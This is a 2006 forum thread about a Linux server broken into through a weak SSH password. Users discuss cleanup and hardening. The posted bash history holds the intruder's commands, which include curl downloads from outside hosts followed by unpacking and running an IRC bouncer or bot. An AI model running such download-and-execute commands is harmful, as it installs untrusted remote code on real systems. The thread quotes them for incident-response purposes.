machine break in

gazman1 · 06-19-2006, 08:22 AM

ok i found out one of my boxes was hacked over the weekend, found this is the bash history - any ideas? the file they downloaded an ran is some kind of irc bouner.

w
/sbin/ifconfig |grep inet
cat /etc/hosts
passwd
cd ..
cd ..
cd ..
cd /var/tmp
cd ..
cd ..
cd tmp
tar xzvf psydrawin.tar.gz
cd psybnc
chmod +x *
make
./psybnc
cd ..
curl -O www.channel.as.ro/psyd.tar.gz
tar xzvf psyd.tar.gz
cd psybnc
./psybnc
cd ..
curl -O atac.uv.ro/DFL
tar xzvf DFL
cd .virtual
chmod +x *
./darwin

binary_y2k2 · 06-19-2006, 09:04 AM

looks like it defiantly some kind of IRC bot.

fedora4002 · 06-19-2006, 09:05 AM

Do you know how he get in?

gazman1 · 06-19-2006, 09:22 AM

yep ssh - i only started here last week and only found out this server let's jst say 3 letter username (very common protocol) with matching password!!! - tottally stupid password and username there

Fadoksi · 06-21-2006, 03:18 AM

You should unplug your network cable. Then they surely cant come back in.
And then run chkrootkit and rkhunter to check for possible rootkits. And change passwords.

gazman1 · 06-21-2006, 11:30 AM

ah i just shutdown the machine as soon as i found out, just culled the os and did a re-install with better passwrds

Fadoksi · 06-21-2006, 11:45 AM

Allright then. I hope you better luck this time

unSpawn · 06-21-2006, 12:20 PM

re-install with better passwrds
Is better passes really *all* you did?

fedora4002 · 06-21-2006, 11:48 PM

It is better than nothing.

Zmyrgel · 06-22-2006, 02:20 AM

Have you checked the sshd_config file? Atleast make it more secure and delete all unnecessary services from running.

Israfel2000 · 06-22-2006, 07:18 AM

Instead of using password authentication for your ssh use the private key authentication. It's more secure this way. If you are going to use a password remember to change your password frequently. You don't want another hacker to break into your computer.

nlinecomputers · 06-22-2006, 07:36 AM

I always set SSH to use only keys, to a fixed set of users, and I put it on a different port. NOT 22.